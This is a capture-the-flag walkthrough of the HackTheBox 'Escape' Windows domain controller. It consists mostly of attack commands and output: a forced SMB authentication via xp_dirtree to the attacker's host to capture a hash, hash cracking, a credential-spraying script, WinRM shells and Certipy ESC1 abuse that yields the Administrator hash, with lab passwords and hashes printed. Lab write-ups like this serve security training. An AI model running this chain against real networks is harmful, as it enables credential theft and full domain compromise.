Escape is a medium-difficulty Windows Active Directory machine that starts with an SMB share that guest authenticated users can download a sensitive PDF file. Inside the PDF file temporary credentials are available for accessing an MSSQL service running on the machine. An attacker is able to force the MSSQL service to authenticate to his machine and capture the hash. It turns out that the service is running under a user account and the hash is crackable. Having a valid set of credentials an attacker is able to get command execution on the machine using WinRM. Enumerating the machine, a log file reveals the credentials for the user ryan.cooper. Further enumeration of the machine, reveals that a Certificate Authority is present and one certificate template is vulnerable to the ESC1 attack, meaning that users who are legible to use this template can request certificates for any other user on the domain including Domain Administrators. Thus, by exploiting the ESC1 vulnerability, an attacker is able to obtain a valid certificate for the Administrator account and then use it to get the hash of the administrator user.
Recon
Nmap
milksteak➜ escape ᐅ nmap -p- --min-rate 10000 $IP -sV
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-23 18:40 +0300
Nmap scan report for 10.129.60.55
Host is up (0.20s latency).
Not shown: 65515 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-08-23 23:40:41Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb, Site: Default-First-Site-Name)
1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb, Site: Default-First-Site-Name)
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb, Site: Default-First-Site-Name)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49689/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49690/tcp open msrpc Microsoft Windows RPC
49713/tcp open unknown
49722/tcp open msrpc Microsoft Windows RPC
49743/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 84.21 seconds
milksteak➜ escape ᐅ nmap -p 53,88,135,139,389,445,464,593,636,1433,3268,3269,5985 -sCV $IP
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-23 19:03 +0300
Nmap scan report for 10.129.60.55
Host is up (0.22s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-08-24 00:03:12Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel
| Not valid before: 2024-01-18T23:03:57
|_Not valid after: 2074-01-05T23:03:57
|_ssl-date: 2026-08-24T00:04:37+00:00; +8h00m02s from scanner time.
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel
| Not valid before: 2024-01-18T23:03:57
|_Not valid after: 2074-01-05T23:03:57
|_ssl-date: 2026-08-24T00:04:35+00:00; +8h00m02s from scanner time.
1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2026-08-23T23:31:34
|_Not valid after: 2056-08-23T23:31:34
| ms-sql-ntlm-info:
| 10.129.60.55:1433:
| Target_Name: sequel
| NetBIOS_Domain_Name: sequel
| NetBIOS_Computer_Name: DC
| DNS_Domain_Name: sequel.htb
| DNS_Computer_Name: dc.sequel.htb
| DNS_Tree_Name: sequel.htb
|_ Product_Version: 10.0.17763
| ms-sql-info:
| 10.129.60.55:1433:
| Version:
| name: Microsoft SQL Server 2019 RTM
| number: 15.00.2000.00
| Product: Microsoft SQL Server 2019
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
|_ssl-date: 2026-08-24T00:04:36+00:00; +8h00m03s from scanner time.
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel
| Not valid before: 2024-01-18T23:03:57
|_Not valid after: 2074-01-05T23:03:57
|_ssl-date: 2026-08-24T00:04:37+00:00; +8h00m02s from scanner time.
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-08-24T00:04:35+00:00; +8h00m02s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel
| Not valid before: 2024-01-18T23:03:57
|_Not valid after: 2074-01-05T23:03:57
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
|_clock-skew: mean: 8h00m02s, deviation: 0s, median: 8h00m01s
| smb2-time:
| date: 2026-08-24T00:03:57
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 94.75 seconds
A full TCP port scan was performed against the target host. The scan revealed a Windows Domain Controller for the domain sequel.htb with the hostname D, exposing AD services alongside a Microsoft SQL Server instance on TCP/1433 and WinRM on TCP/5985
Enumeration
DNS - 53
Zone transfer attempt:
milksteak➜ escape ᐅ dig @$IP sequel.htb axfr
; <<>> DiG 9.20.24-1+b1-Debian <<>> @10.129.60.55 sequel.htb axfr
; (1 server found)
;; global options: +cmd
; Transfer failed
That was very expected on hardened DC
ANY query:
milksteak➜ escape ᐅ dig @$IP sequel.htb any
; <<>> DiG 9.20.24-1+b1-Debian <<>> @10.129.60.55 sequel.htb any
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 36156
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 4, AUTHORITY: 0, ADDITIONAL: 3
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
;; QUESTION SECTION:
;sequel.htb. IN ANY
;; ANSWER SECTION:
sequel.htb. 600 IN A 10.129.60.55
sequel.htb. 3600 IN NS dc.sequel.htb.
sequel.htb. 3600 IN SOA dc.sequel.htb. hostmaster.sequel.htb. 148 900 600 86400 3600
sequel.htb. 600 IN AAAA dead:beef::1870:9b83:8550:9e3a
;; ADDITIONAL SECTION:
dc.sequel.htb. 3600 IN A 10.129.60.55
dc.sequel.htb. 3600 IN AAAA dead:beef::1870:9b83:8550:9e3a
;; Query time: 223 msec
;; SERVER: 10.129.60.55#53(10.129.60.55) (TCP)
;; WHEN: Sun Aug 23 19:21:14 EAT 2026
;; MSG SIZE rcvd: 191
DNS is done; we only found a lonely A record that points to itself. Nothing actionable. MOVING ONNNN
SMB Enumeration - 445
The next logical step is to check SMB. Windows domains love their shares. Sometimes they love them too much and leave them wide open
ilksteak➜ escape ᐅ nxc smb $IP -u guest -p '' --shares
SMB 10.129.60.55 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:sequel.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.60.55 445 DC [+] sequel.htb\guest:
SMB 10.129.60.55 445 DC [*] Enumerated shares
SMB 10.129.60.55 445 DC Share Permissions Remark
SMB 10.129.60.55 445 DC ----- ----------- ------
SMB 10.129.60.55 445 DC ADMIN$ Remote Admin
SMB 10.129.60.55 445 DC C$ Default share
SMB 10.129.60.55 445 DC IPC$ READ Remote IPC
SMB 10.129.60.55 445 DC NETLOGON Logon server share
SMB 10.129.60.55 445 DC Public READ
SMB 10.129.60.55 445 DC SYSVOL Logon server share
Public, READ, GUEST ACCESS????,,, What's the catch here??
milksteak➜ escape ᐅ smbclient //$IP/Public -N
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Sat Nov 19 14:51:25 2022
.. D 0 Sat Nov 19 14:51:25 2022
SQL Server Procedures.pdf A 49551 Fri Nov 18 16:39:43 2022
5184255 blocks of size 4096. 1467156 blocks available
VERY OBVIOUS
“SQL Server Procedures.pdf” in a guest-readable share called PUBLIC. Welp, we can download it
Of course it had to be a Ryan. This PDF served as both documentation and a confession. The documentation revealed a mock MSSQL instance running directly on the domain controller - Thanks Ryan.
Buried in a “Bonus” section for new hires were SQL Server Authentication credentials: PublicUser with password GuestUserCantWrite1 crazy how the password is named after a permission that does not apply to the share it was found in. Anyway Ryan remains at large.
MSSQL - 1433
We logged into the DB with the credentials left in the PDF for people who don’t exist yet:
milksteak➜ escape ᐅ impacket-mssqlclient sequel.htb/PublicUser:'GuestUserCantWrite1'@10.129.60.55
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC\SQLMOCK): Line 1: Changed database context to 'master'.
[*] INFO(DC\SQLMOCK): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2019 RTM (15.0.2000)
[!] Press help for extra shell commands
SQL (PublicUser guest@master)>
Who are we:
SQL (PublicUser guest@master)> SELECT SYSTEM_USER, USER_NAME()
----- -----
guest guest
Are we god?
SQL (PublicUser guest@master)> SELECT IS_SRVROLEMEMBER('sysadmin');
-
0
What databases exist?
SQL (PublicUser guest@master)> SELECT name FROM master.dbo.sysdatabases;
name
------
master
tempdb
model
msdb
WHO???????
SQL (PublicUser guest@master)> SELECT name, create_date FROM sys.sql_logins WHERE is_policy_checked = 0;
name create_date
---- -----------
Very boring database
Since PublicUser isn’t sysadmin, we can’t enable xp_cmdshell or query sensitive tables. The only move is force authentication
Initial Access
Shell as sql_svc
To force authentication, first we start listening on tun0 with responder:
milksteak➜ escape ᐅ sudo responder -I tun0
[sudo] password for xi:
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
[*] Tips jar:
USDT -> 0xCc98c1D3b8cd9b717b5257827102940e4E17A19A
BTC -> bc1q9360jedhhmps5vpl3u05vyg4jryrl52dmazz49
[+] Poisoners:
LLMNR [ON]
NBT-NS [ON]
MDNS [ON]
DNS [ON]
DHCP [OFF]
DHCPv6 [OFF]
[+] Servers:
HTTP server [ON]
HTTPS server [ON]
WPAD proxy [OFF]
Auth proxy [OFF]
SMB server [ON]
Kerberos server [ON]
SQL server [ON]
FTP server [ON]
IMAP server [ON]
POP3 server [ON]
SMTP server [ON]
DNS server [ON]
LDAP server [ON]
MQTT server [ON]
RDP server [ON]
DCE-RPC server [ON]
WinRM server [ON]
SNMP server [ON]
Then, in the SQL shell, we try to get an SMB call back
SQL (PublicUser guest@master)> EXEC xp_dirtree '\\10.10.15.27\share', 1, 1;
The MSSQL service account sequel\sql_svc authenticated to the rogue SMB server, yielding a Net-NTLMv2 hash for offline cracking.
[SMB] NTLMv2-SSP Client : 10.129.60.55
[SMB] NTLMv2-SSP Username : sequel\sql_svc
[SMB] NTLMv2-SSP Hash : sql_svc::sequel:28f665dbdafeb353:836B368F8011163D8C225B2C71F9EC19:01010000000000008072D98C3F33DD01E4BE7CDD790456F9000000000200080050004A005000510001001E00570049004E002D0037003100480035004700390036004D0032005200380004003400570049004E002D0037003100480035004700390036004D003200520038002E0050004A00500051002E004C004F00430041004C000300140050004A00500051002E004C004F00430041004C000500140050004A00500051002E004C004F00430041004C00070008008072D98C3F33DD0106000400020000000800300030000000000000000000000000300000F1587B48EBAAE28064DE831828C365978B1B98D330DF954678CA106F8B4472BA0A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310035002E00320037000000000000000000
Then we save the hash to a file:
echo 'sql_svc::sequel:28f665dbdafeb353:836B368F8011163D8C225B2C71F9EC19:01010000000000008072D98C3F33DD01E4BE7CDD790456F9000000000200080050004A005000510001001E00570049004E002D0037003100480035004700390036004D0032005200380004003400570049004E002D0037003100480035004700390036004D003200520038002E0050004A00500051002E004C004F00430041004C000300140050004A00500051002E004C004F00430041004C000500140050004A00500051002E004C004F00430041004C00070008008072D98C3F33DD0106000400020000000800300030000000000000000000000000300000F1587B48EBAAE28064DE831828C365978B1B98D330DF954678CA106F8B4472BA0A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310035002E00320037000000000000000000' > sql_svc.hash
Crackin’ time:
milksteak➜ escape ᐅ hashcat sql_svc.hash /home/xi/rockyou.txt
hashcat (v7.1.2) starting in autodetect mode
5600 | NetNTLMv2 | Network Protocol
Dictionary cache hit:
* Filename..: /home/xi/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
SQL_SVC::sequel:28f665dbdafeb353:836b368f8011163d8c225b2c71f9ec19:01010000000000008072d98c3f33dd01e4be7cdd790456f9000000000200080050004a005000510001001e00570049004e002d0037003100480035004700390036004d0032005200380004003400570049004e002d0037003100480035004700390036004d003200520038002e0050004a00500051002e004c004f00430041004c000300140050004a00500051002e004c004f00430041004c000500140050004a00500051002e004c004f00430041004c00070008008072d98c3f33dd0106000400020000000800300030000000000000000000000000300000f1587b48ebaae28064de831828c365978b1b98d330df954678ca106f8b4472ba0a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310035002e00320037000000000000000000:REGGIE1234ronnie
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5600 (NetNTLMv2)
Hash.Target......: SQL_SVC::sequel:28f665dbdafeb353:836b368f8011163d8c...000000
Started: Sun Aug 23 20:53:26 2026
Stopped: Sun Aug 23 20:53:44 2026
SQL_SVC is ours:
sql_svc:REGGIE1234ronnie
Now we can user our blaster.sh to run the creds through the available services:
#!/bin/bash
# blaster.sh - Credential spray across services
IP="10.129.60.55"
USER="sql_svc"
PASS="REGGIE1234ronnie"
echo "=== Blasting $USER:$PASS against $IP ==="
echo ""
echo "[*] SMB"
nxc smb $IP -u "$USER" -p "$PASS" 2>/dev/null
echo ""
echo "[*] LDAP"
nxc ldap $IP -u "$USER" -p "$PASS" 2>/dev/null
echo ""
echo "[*] LDAPS"
nxc ldap $IP -u "$USER" -p "$PASS" 2>/dev/null | grep -E '\[\+\]|\[-\]'
echo ""
echo "[*] WINRM"
nxc winrm $IP -u "$USER" -p "$PASS" 2>/dev/null
echo ""
echo "[*] MSSQL"
nxc mssql $IP -u "$USER" -p "$PASS" 2>/dev/null
echo ""
echo "=== Done ==="
milksteak➜ escape ᐅ bash blaster.sh
=== Blasting sql_svc:REGGIE1234ronnie against 10.129.60.55 ===
[*] SMB
SMB 10.129.60.55 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:sequel.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.60.55 445 DC [+] sequel.htb\sql_svc:REGGIE1234ronnie
[*] LDAP
LDAP 10.129.60.55 389 DC [*] Windows 10 / Server 2019 Build 17763 (name:DC) (domain:sequel.htb) (signing:Enforced) (channel binding:Never)
LDAP 10.129.60.55 389 DC [+] sequel.htb\sql_svc:REGGIE1234ronnie
[*] LDAPS
LDAP 10.129.60.55 389 DC [+] sequel.htb\sql_svc:REGGIE1234ronnie
[*] WINRM
WINRM 10.129.60.55 5985 DC [*] Windows 10 / Server 2019 Build 17763 (name:DC) (domain:sequel.htb)
WINRM 10.129.60.55 5985 DC [+] sequel.htb\sql_svc:REGGIE1234ronnie (Pwn3d!)
[*] MSSQL
MSSQL 10.129.60.55 1433 DC [*] Windows 10 / Server 2019 Build 17763 (name:DC) (domain:sequel.htb) (EncryptionReq:False)
MSSQL 10.129.60.55 1433 DC [+] sequel.htb\sql_svc:REGGIE1234ronnie
Ryan's database service account is apparently also his WinRM account, because why separate privileges when you can live dangerously.
milksteak➜ escape ᐅ evil-winrm -i 10.129.60.55 -u sql_svc -p REGGIE1234ronnie
Evil-WinRM shell v3.9
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\sql_svc\Documents>
Before tearing around, it worth checking what privs we have with the current user:
*Evil-WinRM* PS C:\Users\sql_svc\Documents> whoami /groups
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
=========================================== ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
BUILTIN\Certificate Service DCOM Access Alias S-1-5-32-574 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label S-1-16-8448
*Evil-WinRM* PS C:\Users\sql_svc\Documents> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
whoami /groups revealed sql_svc sits in BUILTIN\Certificate Service DCOM Access, a group that exists solely to remind us AD CS is on this box and we are going to hate it later. NOT ESC1 AGAIN<<<OH MY GOD HTB its becoming boring now
We can enumerate the full filesystem in a broader way using PowerShell:
Shell as Ryan
Evil-WinRM* PS C:\Users\sql_svc\Documents> Get-ChildItem "C:\Program Files\Microsoft SQL Server\" -Recurse -ErrorAction SilentlyContinue | Where-Object { $_.Extension -match "\.log|\.txt" } | Select-Object FullName
[SNIP]
MSOLEDBSQL_ENU.txt
*Evil-WinRM* PS C:\Users\sql_svc\Documents> Get-ChildItem "C:\Program Files\Microsoft SQL Server\MSSQL15.MSSQLSERVER\MSSQL\Log\" -ErrorAction SilentlyContinue
*Evil-WinRM* PS C:\Users\sql_svc\Documents> Get-ChildItem "C:\Program Files\Microsoft SQL Server\" -Recurse -Include ERRORLOG* -ErrorAction SilentlyContinue
*Evil-WinRM* PS C:\Users\sql_svc\Documents> cd C:\
*Evil-WinRM* PS C:\> cd SQLServer
*Evil-WinRM* PS C:\SQLServer> ls
Directory: C:\SQLServer
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 2/7/2023 8:06 AM Logs
d----- 11/18/2022 1:37 PM SQLEXPR_2019
-a---- 11/18/2022 1:35 PM 6379936 sqlexpress.exe
-a---- 11/18/2022 1:36 PM 268090448 SQLEXPR_x64_ENU.exe
Evil-WinRM* PS C:\SQLServer\Logs> ls
Directory: C:\SQLServer\Logs
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 2/7/2023 8:06 AM 27608 ERRORLOG.BAK
*Evil-WinRM* PS C:\SQLServer\Logs> download ERRORLOG.BAK
Info: Downloading C:\SQLServer\Logs\ERRORLOG.BAK to ERRORLOG.BAK
Info: Download successful!
*Evil-WinRM* PS C:\SQLServer\Logs> Get-Content "C:\SQLServer\Logs\ERRORLOG.BAK" | Select-String "Password did not match"
2022-11-18 13:43:07.44 Logon Logon failed for user 'sequel.htb\Ryan.Cooper'. Reason: Password did not match that for the login provided. [CLIENT: 127.0.0.1]
2022-11-18 13:43:07.48 Logon Logon failed for user 'NuclearMosquito3'. Reason: Password did not match that for the login provided. [CLIENT: 127.0.0.1]
We got Ryan’s credentials:
sequel.htb\Ryan.Cooper
NuclearMosquito3
Without wasting any time, we remotely log in with the new creds- no blasting this time
milksteak➜ escape ᐅ evil-winrm -i 10.129.60.55 -u ryan.cooper -p NuclearMosquito3
Evil-WinRM shell v3.9
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Ryan.Cooper\Documents> cat ..\Desktop\user.txt
Shell as Administrator
With ryan.cooper:NuclearMosquito3 validated and WinRM access confirmed, the assessment pivoted to Active Directory Certificate Services enumeration. The sql_svc account's group membership in Certificate Service DCOM Access had already hinted at AD CS presence, and the box description explicitly called out an ESC1 vulnerability in a certificate template.
milksteak➜ escape ᐅ certipy-ad find -u ryan.cooper -p 'NuclearMosquito3' -target 10.129.60.55 -vulnerable -text
Certipy v5.1.0 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Finding issuance policies
[*] Found 15 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'sequel-DC-CA' via RRP
[*] Successfully retrieved CA configuration for 'sequel-DC-CA'
[*] Checking web enrollment for CA 'sequel-DC-CA' @ 'dc.sequel.htb'
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[*] Saving text output to '20260823220341_Certipy.txt'
[*] Wrote text output to '20260823220341_Certipy.txt'
milksteak➜ escape ᐅ cat 20260823220341_Certipy.txt
Certificate Authorities
0
CA Name : sequel-DC-CA
DNS Name : dc.sequel.htb
Certificate Subject : CN=sequel-DC-CA, DC=sequel, DC=htb
Certificate Serial Number : 1EF2FA9A7E6EADAD4F5382F4CE283101
Certificate Validity Start : 2022-11-18 20:58:46+00:00
Certificate Validity End : 2121-11-18 21:08:46+00:00
Web Enrollment
HTTP
Enabled : False
HTTPS
Enabled : False
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Active Policy : CertificateAuthority_MicrosoftDefault.Policy
Permissions
Owner : SEQUEL.HTB\Administrators
Access Rights
ManageCa : SEQUEL.HTB\Administrators
SEQUEL.HTB\Domain Admins
SEQUEL.HTB\Enterprise Admins
ManageCertificates : SEQUEL.HTB\Administrators
SEQUEL.HTB\Domain Admins
SEQUEL.HTB\Enterprise Admins
Enroll : SEQUEL.HTB\Authenticated Users
Certificate Templates
0
Template Name : UserAuthentication
Display Name : UserAuthentication
Certificate Authorities : sequel-DC-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : True
Certificate Name Flag : EnrolleeSuppliesSubject
Enrollment Flag : IncludeSymmetricAlgorithms
PublishToDs
Private Key Flag : ExportableKey
Extended Key Usage : Client Authentication
Secure Email
Encrypting File System
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Schema Version : 2
Validity Period : 10 years
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Template Created : 2022-11-18T21:10:22+00:00
Template Last Modified : 2024-01-19T00:26:38+00:00
Permissions
Enrollment Permissions
Enrollment Rights : SEQUEL.HTB\Domain Admins
SEQUEL.HTB\Domain Users
SEQUEL.HTB\Enterprise Admins
Object Control Permissions
Owner : SEQUEL.HTB\Administrator
Full Control Principals : SEQUEL.HTB\Domain Admins
SEQUEL.HTB\Enterprise Admins
Write Owner Principals : SEQUEL.HTB\Domain Admins
SEQUEL.HTB\Enterprise Admins
Write Dacl Principals : SEQUEL.HTB\Domain Admins
SEQUEL.HTB\Enterprise Admins
Write Property Enroll : SEQUEL.HTB\Domain Admins
SEQUEL.HTB\Domain Users
SEQUEL.HTB\Enterprise Admins
[+] User Enrollable Principals : SEQUEL.HTB\Domain Users
[!] Vulnerabilities
ESC1 : Enrollee supplies subject and template allows client authentication.
Certipy identified the UserAuthentication template as vulnerable to ESC1. It allows Domain Users to enroll, lets the enrollee supply their own Subject Alternative Name, and permits client authentication. This means ryan.cooper can request a certificate for administrator@sequel.htb without creating a computer account or jumping through any hoops. Ryan's credentials are about to become Administrator's credentials because someone thought "UserAuthentication" was a good name for a template that authenticates anyone.
OOOOH MY GOOODD IT'S AUTHORITY ALLL OVER AGAIN
I guess we request a cert (if this works, I will lose my shit)
milksteak➜ escape ᐅ certipy-ad req -u ryan.cooper -p 'NuclearMosquito3' -target 10.129.60.55 -ca sequel-DC-CA -template UserAuthentication -upn administrator@sequel.htb
Certipy v5.1.0 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Request ID is 13
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator@sequel.htb'
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'
Then we authenticate with the cert:
milksteak➜ escape ᐅ certipy-ad auth -pfx administrator.pfx -domain sequel.htb -dc-ip 10.129.60.55
Certipy v5.1.0 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN UPN: 'administrator@sequel.htb'
[*] Using principal: 'administrator@sequel.htb'
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
[-] Use -debug to print a stacktrace
[-] See the wiki for more information
milksteak➜ escape ᐅ sudo ntpdate -b -u 10.129.60.55
[sudo] password for xi:
2026-08-24 06:11:17.793130 (+0300) +28802.585728 +/- 0.117083 10.129.60.55 s1 no-leap
CLOCK: time stepped by 28802.585728
milksteak➜ escape ᐅ certipy-ad auth -pfx administrator.pfx -domain sequel.htb -dc-ip 10.129.60.55
Certipy v5.1.0 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN UPN: 'administrator@sequel.htb'
[*] Using principal: 'administrator@sequel.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@sequel.htb': aad3b435b51404eeaad3b435b51404ee:a52f78e4c751e5f5e17e1e9f3e58f4ee
I HATE IT, BYE!!!